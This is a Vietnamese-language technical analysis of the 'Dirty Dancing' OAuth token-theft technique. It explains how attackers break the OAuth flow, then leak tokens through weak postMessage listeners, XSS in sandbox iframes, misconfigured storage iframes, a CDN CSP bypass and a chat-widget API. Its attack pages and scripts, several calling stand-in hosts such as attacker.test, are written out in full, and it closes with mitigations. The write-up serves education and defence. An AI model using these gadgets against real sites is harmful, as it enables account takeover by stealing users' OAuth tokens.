PHÂN TÍCH CHUYÊN SÂU LỖ HỔNG "DIRTY DANCING" TRONG OAUTH: CÁC GADGET RÒ RỈ URL

Tóm Tắt & Giải Thích Cốt Lõi

1. Mục Tiêu & Khái Niệm Chính

- **Mục tiêu:** Đánh cắp mã ủy quyền (authorization code) hoặc token (access token, id_token) từ luồng xác thực OAuth (OAuth-dance) của nạn nhân.
- **"Non-happy path" (Luồng không thành công):** Đây là trạng thái khi quá trình xác thực OAuth bị phá vỡ. Nhà cung cấp OAuth (Google, Apple...) vẫn trả về mã/token hợp lệ, nhưng website đích không thể xử lý chúng thành công. Kết quả là mã/token vẫn còn lưu trong URL (query string hoặc fragment) của trang lỗi, trở thành mục tiêu để khai thác.

2. Quy Trình Tấn Công Cơ Bản

1. **Tạo Non-Happy Path:** Kẻ tấn công chuẩn bị một URL đăng nhập OAuth đặc biệt, khiến nạn nhân sau khi đăng nhập thành công sẽ được chuyển hướng về một trang lỗi trên website đích, với mã/token vẫn còn trong URL.
2. **Khai thác "Gadget" để rò rỉ URL:** Trang lỗi này thường vẫn tải các tài nguyên bên thứ ba (JavaScript, iframe). Kẻ tấn công lợi dụng các lỗ hổng hoặc hành vi không an toàn trong các tài nguyên này (gọi là "gadget") để đọc location.href (chứa token) và gửi nó về cho kẻ tấn công.
3. **Sử dụng Token:** Kẻ tấn công nhận được token và sử dụng nó để đăng nhập vào tài khoản nạn nhân.

PHẦN 1: QUY TRÌNH TẤN CÔNG CƠ BẢN VÀ CÁC PHƯƠNG PHÁP TẠO "NON-HAPPY PATH"

Đối với người mới bắt đầu về bảo mật: "Dirty Dancing" là một lỗ hổng trong OAuth, nơi kẻ tấn công có thể đánh cắp mã ủy quyền hoặc token bằng cách tạo ra một luồng xác thực thất bại (non-happy path), khiến token bị lộ trên URL, sau đó sử dụng các "gadget" (cơ chế khai thác) để rò rỉ URL đó.

1.1. Mục Tiêu & Khái Niệm Cốt Lõi

Mục tiêu: Đánh cắp mã ủy quyền (`Authorization Code`) hoặc Token (`Access Token` , `ID Token`) từ luồng xác thực OAuth (OAuth-dance) của nạn nhân.

"Non-happy path" (Luồng không thành công): Đây là trạng thái khi quá trình xác thực OAuth bị phá vỡ một cách có chủ đích. Nhà cung cấp OAuth vẫn trả về mã/token hợp lệ, nhưng **website đích không thể xử lý chúng thành công**. Kết quả là mã/token vẫn còn lưu trong **URL** (query string hoặc fragment) của trang lỗi, trở thành mục tiêu để khai thác. Đối với người mới: Điều này giống như một "cửa hậu" vô tình để lại thông tin nhạy cảm trên địa chỉ web.

1.2. Các Phương Pháp Tạo "Non-Happy Path"

Các kỹ thuật để làm gián đoạn luồng OAuth, khiến Token không được xử lý và vẫn nằm lại trên URL.

Phương Pháp	Mô Tả & Cơ chế Tấn công
Phá Vỡ Tham Số `state`	Kẻ tấn công sử dụng `state` **của chúng** trong link gửi cho nạn nhân. Website kiểm tra `state` sai → **Dừng xử lý**, hiển thị trang lỗi. **Code vẫn còn trong URL**.
Chuyển Đổi `response_type` / `response_mode`	Buộc Nhà cung cấp trả về mã qua **Fragment** (`#`) thay vì **Query** (`?`) (ví dụ: yêu cầu `response_type=code,id_token`). Nếu website chỉ xử lý Query String, mã trong Fragment bị bỏ qua. Website báo lỗi, **mã bị kẹt lại trong URL Fragment.**
Biến Đổi `redirect_uri`	Lợi dụng sự thiếu chặt chẽ của OAuth-provider để dẫn nạn nhân đến một URL không khớp với routing của website, gây ra trang lỗi.

PHẦN 2: PHÂN TÍCH CÁC "GADGET" RÒ RỈ URL TRONG TẤN CÔNG OAUTH

Các "gadget" là cơ chế cho phép đọc và gửi URL chứa token về cho kẻ tấn công. Chúng thường là các lỗ hổng/hành vi không an toàn trong các tài nguyên JavaScript bên thứ ba. Đối với người mới: Gadget giống như "công cụ" khai thác lỗ hổng, nơi mã JavaScript không an toàn bị lợi dụng để lấy thông tin từ URL.

Chúng ta sẽ phân loại các gadget theo các phương pháp khác nhau để rò rỉ URL, với ví dụ cụ thể và giải thích từng bước.

GADGET 1: POSTMESSAGE LISTENERS YẾU HOẶC THIẾU KIỂM TRA ORIGIN

> ***Nguyên lý:*** *Lợi dụng các script bên thứ ba lắng nghe sự kiện* `postMessage` *và phản hồi bằng cách tiết lộ* `location.href` *do thực hiện kiểm tra nguồn gốc (origin validation) lỏng lẻo. Đối với người mới:* `postMessage` *là cách các cửa sổ web giao tiếp, nhưng nếu không kiểm tra nguồn gốc, kẻ tấn công có thể*

gửi tin nhắn giả mạo để lấy dữ liệu.

Kịch bản Rò rỉ Trực tiếp `location.href` (Ví dụ SDK Analytics)

SDK Analytics (ví dụ) bị lỗi sẽ phản hồi lại bất kỳ cửa sổ nào gửi tin nhắn kích hoạt, dẫn đến rò rỉ `location.href` của trang lỗi (chứa token). Điều này thường xảy ra với các SDK theo dõi người dùng trên các trang web phổ biến.

Quy trình tấn công chi tiết:

1. Kẻ tấn công gửi link được chế tạo để gây non-happy path trong OAuth.
2. Nạn nhân click, mở tab mới với luồng OAuth, dẫn đến trang lỗi với token trên URL và listener yếu được tải.
3. Tab gốc của kẻ tấn công gửi `postMessage` đến tab mới để kích hoạt listener.
4. Listener trả về URL chứa token qua `postMessage`.
5. Kẻ tấn công trích xuất token và đăng nhập dưới danh nghĩa nạn nhân.

Mã Listener bị lỗi (Trang lỗi Victim)

```
window.addEventListener('message', function(event) {
  // KIỂM TRA YẾU: Chỉ kiểm tra type, không kiểm tra origin.
  if (event.data.type === 'sdk-load-embed') {
    // GỬI PHẢN HỒI NGƯỢC LẠI CHO BẤT KỲ NGUỒN NÀO:
    event.source.postMessage({
      type: 'sdk-load-embed-reply',
      location: window.location.href // <-- TOKEN BỊ RÒ RỈ!
    }, '*');
  }
});
```

Kịch bản tấn công (Trang Attacker)

Attacker mở trang lỗi của Victim (chứa token) trong một cửa sổ mới và gửi thông điệp kích hoạt:

```
// Attacker mở cửa sổ nạn nhân
openedWindow = window.open('https://victim.com/oauth-callback#token=...');
// Gửi message kích hoạt listener yếu
openedWindow.postMessage('{"type":"sdk-load-embed"}','*');
// Lắng nghe phản hồi chứa URL đầy đủ (chứa token)
```

```
window.addEventListener('message', function (e) {
 if (e.data && e.data.type === 'sdk-load-embed-reply') {
     console.log('Token bị đánh cắp: ' + e.data.location);
 }
});
```

GADGET 2: XSS TRÊN SANDBOX/THIRD-PARTY DOMAIN ĐỂ ĐÁNH CẮP URL

> ***Nguyên lý:*** *Lợi dụng lỗ hổng **XSS** (Cross-Site Scripting) trên iframe domain thứ ba để thực thi mã độc, từ đó truy cập các thuộc tính xuyên-origin an toàn như* `window.name` *hoặc sử dụng iframe thứ hai để bắc cầu thông tin. Đối với người mới: XSS là lỗ hổng cho phép kẻ tấn công chèn mã JavaScript độc hại vào trang web, và ở đây nó được dùng để "cầu nối" lấy URL từ domain khác.*

Gadget 2: Ví dụ 1 - Đánh cắp `window.name` từ Iframe Sandbox

> Trang lỗi (Victim) gán toàn bộ `window.location` (chứa token) vào thuộc tính `name` của iframe sandbox. Kẻ tấn công sử dụng XSS để kiểm soát iframe cùng origin, đọc `window.name` và gửi token ra ngoài. Đây là cách cũ để truyền dữ liệu cross-domain, nhưng dễ bị khai thác nếu có XSS.
>
> **Quy trình tấn công chi tiết:**
>
> 1. Kẻ tấn công tạo trang độc hại nhúng iframe sandbox với XSS, tải script độc.
> 2. Thay nội dung iframe bằng link OAuth non-happy path.
> 3. Nạn nhân click, mở cửa sổ mới với trang lỗi, iframe sandbox được tải với `window.name` chứa URL.
> 4. Script độc kiểm tra định kỳ và gửi `window.name` (chứa token) về trang attacker qua `postMessage`.

Cơ chế rò rỉ trên trang lỗi (Victim)

```
const i = document.createElement('iframe');
i.name = JSON.stringify(window.location) // <-- Gán location chứa token vào name
i.srcdoc = '<script>console.log("my name is: " + window.name)</script>';
document.body.appendChild(i);
```

Trang độc hại của Attacker (Nhúng iframe với XSS)

```
<div id="leak"><iframe src="https://examplesandbox.com/embed_iframe?src=javascript:
x=createElement('script'),
x.src='//attacker.test/inject.js',
document.body.appendChild(x);"
style="border:0;width:500px;height:500px"></iframe></div>
```

Script độc hại (inject.js) chạy trong iframe sandbox

```
// Thay nội dung bằng link cho nạn nhân
document.body.innerHTML =
'<a href="#" onclick="
b=window.open("https://accounts.google.com/o/oauth2/auth/oauthchooseaccount?...");">
Click here to hijack token';
// Kiểm tra định kỳ để đọc window.name
x = setInterval(function() {
  if(parent.window.b &&
     parent.window.b.frames[0] &&
     parent.window.b.frames[0].window.name) {

     // Đọc được window.name và gửi nó về cửa sổ gốc của Attacker
     top.postMessage(parent.window.b.frames[0].window.name, '*');
     parent.window.b.close();
     clearInterval(x);
   }
}, 500);
```

Lắng nghe trên trang Attacker

```
window.addEventListener('message', function (e) {
 if (e.data) {
     document.getElementById('leak').innerText = 'We stole the token: ' + e.data;
 }
});
```

Gadget 2: Ví dụ 2 - Iframe XSS + Kiểm tra Origin của Parent

> Trang lỗi (Victim) tải iframe có XSS. Iframe này chỉ chấp nhận `postMessage` từ cửa sổ **Parent** của nó. Kẻ tấn công nhúng iframe này vào trang độc hại (khiến Attacker trở thành Parent), dùng XSS để chèn script độc hại, sau đó script này tạo một **cầu nối** thông tin giữa cửa sổ nạn nhân và cửa sổ attacker. `location.href` được gửi xuống iframe khi nó yêu cầu 'initConfig'.
>
> **Quy trình tấn công chi tiết:** Tương tự ví dụ 1, nhưng sử dụng `postMessage` để tải script độc và tạo proxy listener trong iframe nạn nhân.

Cơ chế trên trang Victim

```
// Tải iframe
<iframe src="https://challenge-iframe.example.com/"></iframe>
// Listener trong iframe
window.addEventListener('message', function (e) {
  if (e.source !== window.parent) {
    // not a valid origin to send messages
    return;
  }
  if (e.data.type === 'loadJs') {
    loadScript(e.data.jsUrl);
  } else if (e.data.type === 'initConfig') {
    loadConfig(e.data.config);
  }
});
```

Trang độc hại của Attacker

```
<div id="leak"><iframe
id="i" name="i"
src="https://challenge-iframe.example.com/"
onload="run()"
style="border:0;width:500px;height:500px"></iframe></div>
```

Kịch bản tấn công (Sử dụng XSS làm Proxy)

```
// Gửi postMessage để tải script độc
```

```
function run() {
  i.postMessage({type:'loadJs',jsUrl:'https://attacker.test/inject.js'}, '*')
}
// Script độc hại (inject.js) sau đó tạo cầu nối thông tin trong cửa sổ nạn nhân (b)
document.body.innerHTML = '<a href="#" onclick="b=window.open("https://accounts.google.com/o/oauth2/auth/oauthchooseaccount?...");">Click here to hijack token</a>';
x = setInterval(function() {
  if(b && b.frames[1]) {
    b.frames[1].eval(
      'onmessage=function(e) { top.opener.postMessage(e.data, "*") };' + // Proxy message về Attacker
      'top.postMessage({type:"initConfig"},"*")' // Kích hoạt iframe gửi location.href
    )
    clearInterval(x)
  }
}, 500);
```

Lắng nghe trên trang Attacker

```
window.addEventListener('message', function (e) {
 if (e.data) {
    document.getElementById('leak').innerText = 'We stole the token: ' + JSON.stringify(e.data);
 }
});
```

GADGET 3: LẠM DỤNG API CỦA THIRD-PARTY (OUT-OF-BOUND LEAKAGE)

> ***Nguyên lý:*** *Khai thác các dịch vụ bên thứ ba để vô tình gửi URL đầy đủ (chứa token) đến máy chủ của bên thứ ba, nơi kẻ tấn công có thể truy cập thông tin này (OOB - Out-of-Band). Đối với người mới: OOB nghĩa là dữ liệu bị rò rỉ gián tiếp qua kênh khác, không phải trực tiếp từ browser nạn nhân.*

Gadget 3: Ví dụ 1 - Storage Iframe với Lỗi cấu hình Origin

> Iframe storage của dịch vụ Analytics dùng để đồng bộ `localStorage`. Nếu website lưu URL chứa token vào `localStorage` và iframe này không định nghĩa chặt chẽ `allowList` origin, **bất kỳ ai** cũng có thể đăng ký nhận cập nhật storage qua `postMessage`.

> **Quy trình tấn công chi tiết:**
>
> 1. Kẻ tấn công tạo trang độc hại nhúng iframe storage.
> 2. Gửi message yêu cầu sync để nhận cập nhật storage.
> 3. Nạn nhân click link OAuth, dẫn đến trang lỗi lưu URL vào storage.
> 4. Storage cập nhật, gửi postMessage chứa URL đến trang attacker.

Cơ chế trên trang Victim

```
<iframe
  id="tracking"
  name="tracking"
  src="https://cdn.customer1234.analytics.example.com/storage.html">
</iframe>
// Lưu URL
tracking.postMessage('{"type": "put", "key": "last-url", "value": "https://example.com/?code=test#access_token=test"}', '*');
```

Listener trong iframe storage

```
var blockList = [];
var allowList = [];
var syncListeners = [];
window.addEventListener('message', function(e) {
  if (blockList && blockList.indexOf(e.origin) !== -1) {
    return;
  }
  if (allowList && allowList.indexOf(e.origin) == -1) {
    return;
  }
  if (e.source !== window.parent) {
    return;
  }
  handleMessage(e);
});
function handleMessage(e) {
  if (data.type === 'sync') {
    syncListeners.push({source: e.source, origin: e.origin})
  } else {
```

```
  ...
}
window.addEventListener('storage', function(e) {
  for(var i = 0; i < syncListeners.length; i++) {
    syncListeners[i].source.postMessage(JSON.stringify({type: 'sync', key: e.key, value: e.newValue}), syncListeners[i].origin);
  }
}
```

Trang độc hại của Attacker

```
<div id="leak"><iframe
id="i" name="i"
src="https://cdn.customer12345.analytics.example.com/storage.html"
onload="run()"></iframe></div>
<a href="https://accounts.google.com/o/oauth2/auth/oauthchooseaccount?..."
target="_blank">Click here to hijack token</a>
```

Script trên trang Attacker

```
function run() {
  i.postMessage({type:'sync'}, '*')
}
window.addEventListener('message', function (e) {
 if (e.data && e.data.type === 'sync') {
     document.getElementById('leak').innerText = 'We stole the token: ' + JSON.stringify(e.data);
 }
});
```

Gadget 3: Ví dụ 2 - Lỗi Cấu hình CDN và SVG Độc hại (CDN Mix-up)

> Kẻ tấn công tải lên một file **SVG độc hại** lên CDN của dịch vụ bên thứ ba. Bằng cách URL encode dấu gạch chéo (`%2f`) trong đường dẫn, kẻ tấn công **bypass CSP** (Content Security Policy) do CDN thiết lập. SVG độc hại được nhúng vào trang Attacker, nó đóng vai trò là một iframe storage giả mạo không có kiểm tra origin, từ đó khai thác cơ chế sync storage. Điều này cho phép tấn công ngay cả khi allowList được cấu hình đúng.

> **Quy trình tấn công chi tiết:** Tương tự ví dụ 1, nhưng sử dụng SVG độc hại để tạo storage listener giả mạo, bypass CSP bằng encoding.

Kỹ thuật Bypass CSP bằng URL Encoding

URL sau khi encoding sẽ loại bỏ header CSP nghiêm ngặt, cho phép script trong SVG chạy:

```
// URL hợp lệ của iframe giả mạo trên CDN
https://cdn.customer12345.analytics.example.com/img%2fcustomer94342/listener.svg
```

Nội dung SVG độc hại

```
<?xml version="1.0" encoding="UTF-8" standalone="no"?>
<svg id="svg2" xmlns_xlink="http://www.w3.org/1999/xlink" viewbox="0 0 5 5" width="100%" height="100%" version="1.1">
<script xlink_href="data:application/javascript;base64,dmFyIGJsb2NrTGlzdCA9IFtdOwp2YXIgYWxsb3dMaXN0ID0gW107Ci4uLg==></script>
</svg>
```

Trang độc hại của Attacker

```
<div id="leak"><iframe
id="i" name="i"
src="https://cdn.customer12345.analytics.example.com/img%2fcustomer94342/listener.svg"
onload="run()"></iframe></div>
```

Gadget 3: Ví dụ 3 - Chat Widget API (API Token Leakage)

> Lợi dụng cơ chế **Chat Widget** tự động đăng ký **URL hiện tại** với API của nó khi khởi tạo hoặc mở cửa sổ chat. Kẻ tấn công đánh cắp **chat-API-token** từ iframe của chat widget và dùng nó để gọi API (server-side) từ máy chủ của mình với header **Origin giả mạo** để lấy thông tin đã bị Chat Widget lưu lại. Widget này thường có trên mọi trang, kể cả trang lỗi.
>
> **Quy trình tấn công chi tiết:**
>
> 1. Kẻ tấn công nhúng iframe chat widget vào trang độc hại để lấy API token qua postMessage.

2. Gửi link non-happy path cho nạn nhân.
3. Nạn nhân click, trang lỗi mở, chat widget kích hoạt và lưu URL chứa token vào API server.
4. Kẻ tấn công dùng token gọi API server-side với Origin giả mạo để lấy URL.

Cơ chế trên trang Victim

```
<iframe src="https://chat-widget.example.com/chat"></iframe>
window.addEventListener('message', function(e) {
  if (e.data.type === 'launch-chat') {
    openChat();
  }
});
var chatApiToken;
window.addEventListener('message', function(e) {
  if (e.origin === 'https://chat-widget.example.com') {
    if (e.data.type === 'chat-widget') {
      if (e.data.key === 'api-token') {
        chatApiToken = e.data.value;
      }
      if(e.data.key === 'init') {
        chatIsLoaded();
      }
    }
  }
});
```

Trang độc hại của Attacker

```
<div id="leak"><iframe
id="i" name="i"
src="https://chat-widget.example.com/chat" onload="reloadToCheck()"></iframe></div>
<a href="#" onclick="b=window.open('https://accounts.google.com/o/oauth2/auth/oauthchooseaccount?...');">Click here to hijack token</a>
```

Script trên trang Attacker

```
var gotToken = false;
function reloadToCheck() {
  if (gotToken) return;
  setTimeout(function() {
    document.getElementById('i').src = 'https://chat-widget.example.com/chat?' + Math.random();
  }, 2000);
}
window.onmessage = function(e) {
  if (e.data.key === 'api-token') {
    gotToken = true;
    lookInApi(e.data.value);
  }
}
launchChatWindowByPostMessage();
function launchChatWindowByPostMessage() {
  var launch = setInterval(function() {
    if(b) { b.postMessage({type: 'launch-chat'}, '*'); }
  }, 500);
}
function lookInApi(token) {
  var look = setInterval(function() {
    fetch('https://fetch-server-side.attacker.test/?token=' + token).then(e => e.json()).then(e => {
      if (e &&
        e.api_data &&
        e.api_data.current_url &&
        e.api_data.current_url.indexOf('access_token') !== -1) {
          var payload = e.api_data.current_url
          document.getElementById('leak').innerHTML = 'Attacker now has the token: ' + payload;
          clearInterval(look);
      }
    });
  }, 2000);
}
```

Mã Server-Side Fetch (Attacker's Server)

```
// Attacker Server gọi API Chat Widget với Origin giả mạo để bypass CORS
addEventListener('fetch', event => {
  event.respondWith(handleRequest(event.request))
})
```

```
async function getDataFromChatApi(token) {
  return await fetch('https://chat-widget.example.com/api', {headers:{Origin: 'https://example.com', 'Chat-Api-Token': token}});
}
function handleRequest(request) {
  const token = request.url.match('token=([^&#]+)')[1] || null;
  return token ? getDataFromChatApi(token) : null;
}
// Kết quả nhận được JSON chứa "current_page": "https://example.com/#access_token=test"
```

CÁC Ý TƯỞNG KHÁC ĐỂ RÒ RỈ URL (CHƯA TÌM THẤY TRONG THỰC TẾ)

Có thể có các gadget khác, ví dụ: Một trang trên domain hợp lệ chuyển tiếp mọi `postMessage` đến opener của nó. Kẻ tấn công có thể tạo chuỗi window.open kép để nhận token từ OAuth provider qua proxy này. Điều này yêu cầu hai click từ nạn nhân và khai thác response modes không kiểm tra path.

Kịch bản tấn công giả định

```
// Attacker page 1
<a href="#" onclick="a=window.open('attacker2.html'); return false;">Accept cookies</a>
// Attacker page 2
<a href="#" onclick="b=window.open('https://accounts.google.com/oauth/...?', '', 'x'); location.href = 'https://example.com/postmessage-proxy'; return false;">Login to google</a>
// Proxy trên example.com
window.onmessage=function(e) { opener.postMessage(e.data, '*'); }
```

KẾT LUẬN VÀ BIỆN PHÁP PHÒNG CHỐNG

Tổng quan về Nguy cơ:

Lỗ hổng "Dirty Dancing" là sự kết hợp nguy hiểm giữa **Lỗi Logic OAuth** (tạo Non-Happy Path) và **Lỗi Cấu hình Bảo mật** của bên thứ ba (Gadget). Nguy cơ nằm ở việc các trang lỗi vẫn tải các tiện ích bên ngoài có hành vi không an toàn. Đối với người mới: Luôn coi token trên URL là rủi ro cao, vì browser có thể bị thao túng để lộ chúng.

Biện pháp phòng chống Chủ động:

- **Giảm thiểu bề mặt tấn công: LUÔN** loại bỏ token khỏi URL (dùng `history.replaceState` hoặc chuyển hướng) **trước** khi trang tải bất kỳ script bên thứ ba nào.
- **Chính sách CSP:** Áp dụng **Content Security Policy (CSP)** nghiêm ngặt để hạn chế tải script và iframe từ các domain không đáng tin cậy trên các trang lỗi hoặc trang nhạy cảm.
- **Kiểm tra Third-party:** Các dịch vụ bên thứ ba phải có kiểm tra `event.origin` nghiêm ngặt trong mọi `postMessage` listener và **tuyệt đối không** gửi `window.location.href` đầy đủ đến các API bên ngoài. Luôn kiểm tra cấu hình origin và CSP trên CDN.